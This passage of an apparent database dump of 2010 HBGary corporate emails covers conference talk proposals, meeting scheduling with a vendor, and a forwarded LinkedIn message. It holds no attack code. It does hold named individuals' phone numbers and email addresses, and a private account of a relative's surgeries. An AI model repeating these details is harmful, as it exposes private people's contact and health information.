oriented.\r\n\r\n&nbsp;\r\nWould a talk on attribution be a good one?&nbsp; Please suggest others if you like.-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',14258,'aaron_hbgary_com/14258.html'),(2678,'2010-02-16','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001250.M320327P3547Q2678.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Speak at NSA REBL confernce?','Aaron,\r\nI tweaked the language a bit.  See below.  You mention &quot;a full spectrum of cyber threat information&quot;.  How about listing the info sources you would employ?  What about speaking of automating portions of the analysis?\r\n\r\nThreat intelligence:  From Malware to Social Behaviors\r\nThreat intelligence is the critical factor to developing capable cybersecurity solutions.  This talk will cover a comprehensive approach to collecting and correlating a full-spectrum of cyber threat information.  Most cyber based analysis or intelligence solutions look at one or at most a few factors related to threats.  There is no quick solution here – it requires looking at all the factors and building threat models from scratch to mature our understanding of the threats and their evolution.\r\n\r\nOn Tue, Feb 16, 2010 at 9:09 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nThreat Intelligence \r\nFrom software to social behaviors.\r\n\r\nA look at the importance of threat intelligence as it relates to cybersecurity, the critical factor to developing capable cybersecurity solutions.  A comprehensive approach to collecting and correlating a full-spectrum of cyber threat information.  Most cyber based analysis or intelligence solutions look at one or at most a few factors related to threats.  There is no quick solution here, it requires looking at all the factors and building threat models from scratch to mature our understanding of the threats and their evolution.\r\n\r\n\r\nHow is that?\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 13, 2010, at 10:05 AM, Bob Slapnik wrote:\r\n\r\nCool.  Next step would be for you to give me a title and a paragraph to describe it.  I&#39;ll find out how many minutes of the time slots.\r\n \r\nOn Sat, Feb 13, 2010 at 7:52 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nI do want to do this.  And the topic will be around building threat intelligence and dynamic defense.\r\n\r\nAaronFrom my iPhone\r\n\r\n\r\n\r\nOn Feb 12, 2010, at 12:01 PM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nAaron,\r\n \r\nThe NSA Blue Team is an HBGary customer, and they are looking to do even more with us at the enterprise level.  They hold an annual REBL (Red Blue Team) conference in Maryland where they invite hundreds of gov&#39;t security professionals.  This is the top of food chain from a tech point of view.  This tier is above HBSS from a response point of view.\r\n\r\n \r\nLsst year they invited us to speak, but Greg didn&#39;t have the bandwidth to do it.  They&#39;ve invited us again for this year (May or June?).  Would you like to speak?  If yes, please write up one or more topics (a few sentences each) that I can send to them.  Talks can be either unclass or secret level.  They don&#39;t want sales pitches.  Products can be mentioned, but they want the talks to be technology oriented.\r\n\r\n \r\nWould a talk on attribution be a good one?  Please suggest others if you like.-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n',4035,'aaron_hbgary_com/4035.html'),(2679,'2010-02-16','\"Aubrey MERCHANT DEST\" <Aubrey.MERCHANTDEST@qosmos.com>','/aaron@hbgary.com/new/1297001250.M521725P3547Q2679.eml','\"Aubrey MERCHANT DEST\" <Aubrey.MERCHANTDEST@qosmos.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Qosmos','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nI&#8217;m still hoping to meet with you tomorrow but would like\r\nto push the time back to 3:00PM.&nbsp; My Software Engineer had some flight\r\nrouting issues and is delayed.&nbsp; We can meet you at the location of your\r\nchoice and I think that 60-90 minutes should be adequate for this first meeting.&nbsp;\r\nI look forward to providing more details about Qosmos tomorrow.&nbsp; Please\r\nconfirm your availability.&nbsp; Thanks.\r\n\r\n&nbsp;\r\n\r\nBest,\r\n\r\nAubrey\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aubrey MERCHANT\r\nDEST \r\nSent: Friday, February 12, 2010 11:07 AM\r\nTo: \'Aaron Barr\'\r\nSubject: RE: Qosmos\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nI would like to request a meeting at 1:00PM next\r\nWednesday.&nbsp; I will have one of my software Engineers with me as\r\nwell.&nbsp; Can you fit this into your schedule?&nbsp; \r\n\r\n&nbsp;\r\n\r\nBest,\r\n\r\n&nbsp;\r\n\r\nAubrey Merchant-Dest\r\n\r\nConsulting Engineer\r\n\r\nO: 301-528-8301\r\n\r\nF:&nbsp; 301-528-8302\r\n\r\nC:&nbsp; 301-351-4905\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, February 08, 2010 10:42 PM\r\nTo: Aubrey MERCHANT DEST\r\nSubject: Re: Qosmos\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi Aubrey,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThats strange.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe met at the AFCEA conference at the end of the year.\r\n&nbsp;I am actually in Mclean most of the time if I am not in meetings, can we meet\r\ncloser to there? &nbsp;My week has been turned upside down so I have lots of\r\nopenings.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 5, 2010, at 10:49 AM, Aubrey MERCHANT DEST wrote:\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nInterestingly\r\nI just got a call on my cell phone from a gentleman from PWC.&nbsp; Strange,\r\nhuh?&nbsp; I gave him your contact information.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI\r\nam very interested in having a discussion with you about Qosmos NI\r\ntechnology.&nbsp; Can we meet late next week?&nbsp; Thursday or Friday morning in\r\nBethesda?&nbsp; Let me know.&nbsp; At least I&#8217;d like to get you take on\r\nwhat we do and how it may be relevant in your mission(s).&nbsp; Thanks.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBest,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAubrey\r\nMerchant-Dest\r\n\r\n\r\n\r\n\r\n\r\nConsulting\r\nEngineer\r\n\r\n\r\n\r\n\r\n\r\nO:\r\n301-528-8301\r\n\r\n\r\n\r\n\r\n\r\nF:&nbsp;\r\n301-528-8302\r\n\r\n\r\n\r\n\r\n\r\nC:&nbsp;\r\n301-351-4905\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&lt;image003.png&gt;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2663,'aaron_hbgary_com/2663.html'),(2680,'2010-02-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001250.M803471P3547Q2680.eml','\"Aubrey MERCHANT DEST\" <Aubrey.MERCHANTDEST@qosmos.com>','Re: Qosmos','Hi Aubrey,Sorry for delay...trying to get caught back up. &nbsp;I have a 5pm flight out of Dulles tomorrow, but the rest of the day is pretty open. &nbsp;Any way to accommodate earlier? &nbsp;Or we could try next week.AaronOn Feb 16, 2010, at 9:38 AM, Aubrey MERCHANT DEST wrote:Aaron,&nbsp;I’m still hoping to meet with you tomorrow but would like to push the time back to 3:00PM.&nbsp; My Software Engineer had some flight routing issues and is delayed.&nbsp; We can meet you at the location of your choice and I think that 60-90 minutes should be adequate for this first meeting.&nbsp; I look forward to providing more details about Qosmos tomorrow.&nbsp; Please confirm your availability.&nbsp; Thanks.&nbsp;Best,Aubrey&nbsp;From:&nbsp;Aubrey MERCHANT DEST&nbsp;Sent:&nbsp;Friday, February 12, 2010 11:07 AMTo:&nbsp;\'Aaron Barr\'Subject:&nbsp;RE: Qosmos&nbsp;Aaron,&nbsp;I would like to request a meeting at 1:00PM next Wednesday.&nbsp; I will have one of my software Engineers with me as well.&nbsp; Can you fit this into your schedule?&nbsp;&nbsp;Best,&nbsp;Aubrey Merchant-DestConsulting EngineerO: 301-528-8301F:&nbsp; 301-528-8302C:&nbsp; 301-351-4905&nbsp;&lt;image001.png&gt;&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, February 08, 2010 10:42 PMTo:&nbsp;Aubrey MERCHANT DESTSubject:&nbsp;Re: Qosmos&nbsp;Hi Aubrey,&nbsp;Thats strange.&nbsp;We met at the AFCEA conference at the end of the year. &nbsp;I am actually in Mclean most of the time if I am not in meetings, can we meet closer to there? &nbsp;My week has been turned upside down so I have lots of openings.&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;On Feb 5, 2010, at 10:49 AM, Aubrey MERCHANT DEST wrote:&nbsp;Aaron,&nbsp;Interestingly I just got a call on my cell phone from a gentleman from PWC.&nbsp; Strange, huh?&nbsp; I gave him your contact information.&nbsp;&nbsp;I am very interested in having a discussion with you about Qosmos NI technology.&nbsp; Can we meet late next week?&nbsp; Thursday or Friday morning in Bethesda?&nbsp; Let me know.&nbsp; At least I’d like to get you take on what we do and how it may be relevant in your mission(s).&nbsp; Thanks.&nbsp;Best,&nbsp;Aubrey Merchant-DestConsulting EngineerO: 301-528-8301F:&nbsp; 301-528-8302C:&nbsp; 301-351-4905&nbsp;&lt;image003.png&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',10425,'aaron_hbgary_com/10425.html'),(2681,'2010-02-16','\"Aubrey MERCHANT DEST\" <Aubrey.MERCHANTDEST@qosmos.com>','/aaron@hbgary.com/new/1297001251.M23273P3547Q2681.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Qosmos','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHello Aaron,\r\n\r\n&nbsp;\r\n\r\nI&#8217;m picking up my guy at Dulles @ ~1:05PM (from Paris,\r\ncustoms should not be an issue at this hour).&nbsp; We can do 2:00PM but might\r\nbe a few minutes late.&nbsp; We could meet at the airport but it is\r\nnoisy.&nbsp; Just give an address or location (Clyde&#8217;s of Reston?)&nbsp;\r\nto meet.&nbsp; Looking forward to it.\r\n\r\n&nbsp;\r\n\r\nBest,\r\n\r\nAubrey\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\n\r\nSent: Tuesday, February 16, 2010 9:58 AM\r\nTo: Aubrey MERCHANT DEST\r\nSubject: Re: Qosmos\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi Aubrey,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSorry for delay...trying to get caught back up. &nbsp;I have\r\na 5pm flight out of Dulles tomorrow, but the rest of the day is pretty open.\r\n&nbsp;Any way to accommodate earlier? &nbsp;Or we could try next week.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 16, 2010, at 9:38 AM, Aubrey MERCHANT DEST wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI&#8217;m still hoping to meet with you tomorrow but would like\r\nto push the time back to 3:00PM.&nbsp; My Software Engineer had some flight\r\nrouting issues and is delayed.&nbsp; We can meet you at the location of your\r\nchoice and I think that 60-90 minutes should be adequate for this first\r\nmeeting.&nbsp; I look forward to providing more details about Qosmos\r\ntomorrow.&nbsp; Please confirm your availability.&nbsp; Thanks.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBest,\r\n\r\n\r\n\r\n\r\n\r\nAubrey\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aubrey MERCHANT DEST&nbsp;\r\nSent:&nbsp;Friday, February 12,\r\n2010 11:07 AM\r\nTo:&nbsp;\'Aaron Barr\'\r\nSubject:&nbsp;RE: Qosmos\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI would like to request a meeting at 1:00PM next\r\nWednesday.&nbsp; I will have one of my software Engineers with me as\r\nwell.&nbsp; Can you fit this into your schedule?&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBest,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAubrey Merchant-Dest\r\n\r\n\r\n\r\n\r\n\r\nConsulting Engineer\r\n\r\n\r\n\r\n\r\n\r\nO: 301-528-8301\r\n\r\n\r\n\r\n\r\n\r\nF:&nbsp; 301-528-8302\r\n\r\n\r\n\r\n\r\n\r\nC:&nbsp; 301-351-4905\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&lt;image001.png&gt;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Monday, February 08,\r\n2010 10:42 PM\r\nTo:&nbsp;Aubrey MERCHANT DEST\r\nSubject:&nbsp;Re: Qosmos\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHi Aubrey,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThats strange.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWe met at the AFCEA conference at the end of the year.\r\n&nbsp;I am actually in Mclean most of the time if I am not in meetings, can we\r\nmeet closer to there? &nbsp;My week has been turned upside down so I have lots\r\nof openings.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 5, 2010, at 10:49 AM, Aubrey MERCHANT DEST wrote:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nInterestingly\r\nI just got a call on my cell phone from a gentleman from PWC.&nbsp; Strange,\r\nhuh?&nbsp; I gave him your contact information.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI\r\nam very interested in having a discussion with you about Qosmos NI\r\ntechnology.&nbsp; Can we meet late next week?&nbsp; Thursday or Friday morning\r\nin Bethesda?&nbsp; Let me know.&nbsp; At least I&#8217;d like to get you take on\r\nwhat we do and how it may be relevant in your mission(s).&nbsp; Thanks.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBest,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAubrey\r\nMerchant-Dest\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nConsulting\r\nEngineer\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nO:\r\n301-528-8301\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nF:&nbsp;\r\n301-528-8302\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nC:&nbsp;\r\n301-351-4905\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;image003.png&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12190,'aaron_hbgary_com/12190.html'),(2682,'2010-02-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001251.M266366P3547Q2682.eml','\"Aubrey MERCHANT DEST\" <Aubrey.MERCHANTDEST@qosmos.com>','Re: Qosmos','Ok sounds good. &nbsp;If you\'ve never tried it lets shoot for Mon Ami Gabi in Reston Center @2pm (or there abouts).AaronOn Feb 16, 2010, at 10:04 AM, Aubrey MERCHANT DEST wrote:Hello Aaron,&nbsp;I’m picking up my guy at Dulles @ ~1:05PM (from Paris, customs should not be an issue at this hour).&nbsp; We can do 2:00PM but might be a few minutes late.&nbsp; We could meet at the airport but it is noisy.&nbsp; Just give an address or location (Clyde’s of Reston?)&nbsp; to meet.&nbsp; Looking forward to it.&nbsp;Best,Aubrey&nbsp;&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, February 16, 2010 9:58 AMTo:&nbsp;Aubrey MERCHANT DESTSubject:&nbsp;Re: Qosmos&nbsp;Hi Aubrey,&nbsp;Sorry for delay...trying to get caught back up. &nbsp;I have a 5pm flight out of Dulles tomorrow, but the rest of the day is pretty open. &nbsp;Any way to accommodate earlier? &nbsp;Or we could try next week.&nbsp;Aaron&nbsp;On Feb 16, 2010, at 9:38 AM, Aubrey MERCHANT DEST wrote:Aaron,&nbsp;I’m still hoping to meet with you tomorrow but would like to push the time back to 3:00PM.&nbsp; My Software Engineer had some flight routing issues and is delayed.&nbsp; We can meet you at the location of your choice and I think that 60-90 minutes should be adequate for this first meeting.&nbsp; I look forward to providing more details about Qosmos tomorrow.&nbsp; Please confirm your availability.&nbsp; Thanks.&nbsp;Best,Aubrey&nbsp;From:&nbsp;Aubrey MERCHANT DEST&nbsp;Sent:&nbsp;Friday, February 12, 2010 11:07 AMTo:&nbsp;\'Aaron Barr\'Subject:&nbsp;RE: Qosmos&nbsp;Aaron,&nbsp;I would like to request a meeting at 1:00PM next Wednesday.&nbsp; I will have one of my software Engineers with me as well.&nbsp; Can you fit this into your schedule?&nbsp;&nbsp;Best,&nbsp;Aubrey Merchant-DestConsulting EngineerO: 301-528-8301F:&nbsp; 301-528-8302C:&nbsp; 301-351-4905&nbsp;&lt;image001.png&gt;&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, February 08, 2010 10:42 PMTo:&nbsp;Aubrey MERCHANT DESTSubject:&nbsp;Re: Qosmos&nbsp;Hi Aubrey,&nbsp;Thats strange.&nbsp;We met at the AFCEA conference at the end of the year. &nbsp;I am actually in Mclean most of the time if I am not in meetings, can we meet closer to there? &nbsp;My week has been turned upside down so I have lots of openings.&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;On Feb 5, 2010, at 10:49 AM, Aubrey MERCHANT DEST wrote:&nbsp;Aaron,&nbsp;Interestingly I just got a call on my cell phone from a gentleman from PWC.&nbsp; Strange, huh?&nbsp; I gave him your contact information.&nbsp;&nbsp;I am very interested in having a discussion with you about Qosmos NI technology.&nbsp; Can we meet late next week?&nbsp; Thursday or Friday morning in Bethesda?&nbsp; Let me know.&nbsp; At least I’d like to get you take on what we do and how it may be relevant in your mission(s).&nbsp; Thanks.&nbsp;Best,&nbsp;Aubrey Merchant-DestConsulting EngineerO: 301-528-8301F:&nbsp; 301-528-8302C:&nbsp; 301-351-4905&nbsp;&lt;image003.png&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',9503,'aaron_hbgary_com/9503.html'),(2683,'2010-02-16','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297001251.M487081P3547Q2683.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Hey there boss-man','Begin forwarded message:From: Matt Furman &lt;Matthew.Furman@ngc.com&gt;Date: February 16, 2010 10:18:30 AM ESTTo: Ted Vera &lt;tedvera@mac.com&gt;Subject: Hey there boss-man\r\n\r\n\r\n  \r\n\r\n\r\n  \r\n  LinkedIn\r\n\r\nMatt Furman has sent you a message.\r\n\r\n\r\n  Date:\r\n  2/16/2010\r\n\r\n\r\n  Subject:\r\n  Hey there boss-man\r\n\r\n\r\n\r\n  There are times that just seem to be more trying than others. Geez, this place is a friggin\' roller-coaster! Sorry I haven\'t kept in better touch. My father has been in the hospital off and on since Xmas - had double bypass surgery, lung surgery, and they fused two vertebrae. Scary. \r\nI promise now that things on the family front are more settled, to stay in better touch. Work SUCKS - and you know how much I like to develop. Seems like the left and right hands of this place are on different continents and wavelengths. Makes it hard on everyone. Tawny, Jeremiah, and myself just stood up a completely CG Film Production Company last week called Triskelion Films. I think Jeremiah and Tawny are a part of it just because they need an outlet for their creativity - hell, I\'m not complaining. We\'re going to construct a full feature film based on a script I wrote. Going to purchase a MoCap system and everything. Pretty wild huh? Shoot me a message when you get time. This LinkedIn site is a good way to converse \'under the radar\' of the Gestapo. Hope your day is a good one.\r\n\r\nMatt\r\nAspiring young film-business owner\r\nDirector of the soon-to-be-released epic, \'Suday &amp; Andani\' (buy advanced copies now!!! :-)\r\n\r\n\r\nOn January 26, 2010 8:30 AM, Ted Vera wrote:\r\n--------------------\r\nI\'d like to add you to my professional network on LinkedIn.\r\n\r\n- Ted Vera\r\n\r\n\r\nView/reply to this message\r\n\r\nDon\'t want to receive e-mail notifications? Adjust your message settings.\r\n\r\n\r\n\r\n\r\n\r\n  © 2010, LinkedIn Corporation\r\n\r\n\r\n',9527,'aaron_hbgary_com/9527.html'),(2684,'2010-02-16','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001251.M701504P3547Q2684.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>','HBGary talk on Aurora for SAIC Tech Tuesday meeting','Aaron and Phil,\r\n \r\nMy longtime customer at SAIC, Tim Estell, called to say they hold montly Tech Tuesday meetings where 20-30 people show up, mostly subcontractors.  They offered to have HBGary give a talk on Operation Aurora.  Tim said, &quot;the more technical the better&quot;.  \r\n\r\n \r\nThe talk will be in Columbia, MD.  The date is Feb 23 (don&#39;t have the time).  I don&#39;t know if we&#39;ll get prospects, but I think it would be worth doing.\r\n \r\nIn my mind, both of you are candidates to give this talk.  Which of you two are the right one?\r\n \r\nBob\r\n',6782,'aaron_hbgary_com/6782.html'),(2685,'2010-02-16','\"Matthew Steckman\" <msteckman@palantirtech.com>','/aaron@hbgary.com/new/1297001251.M943430P3547Q2685.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Just was put out by 451 Analyst Group','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nIm available late afternoon if you want to swing by the new\r\noffice or just give me a ring.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com\r\n| 202-257-2270\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, February 15, 2010 8:27 PM\r\nTo: Matthew Steckman\r\nSubject: Re: Just was put out by 451 Analyst Group\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nYes it was just got my names mixed up. :).\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 15, 2010, at 8:15 PM, Matthew Steckman &lt;msteckman@palantirtech.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNot\r\nsure that was intended for me?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMatthew\r\nSteckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com\r\n| 202-257-2270\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, February 15, 2010 6:35 PM\r\nTo: Matthew Steckman\r\nSubject: Re: Just was put out by 451 Analyst Group\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHey\r\nBrian,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHave\r\nsome time to catch up tomorrow?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn\r\nFeb 8, 2010, at 5:13 PM, Matthew Steckman wrote:\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWednesday\r\nIll be onsite.&nbsp; Can we sync up Thurs?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Just let me know when you want\r\nGeoff Stowe to drive up to Sacramento\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Ill pencil you in for analyst\r\ntraining on the 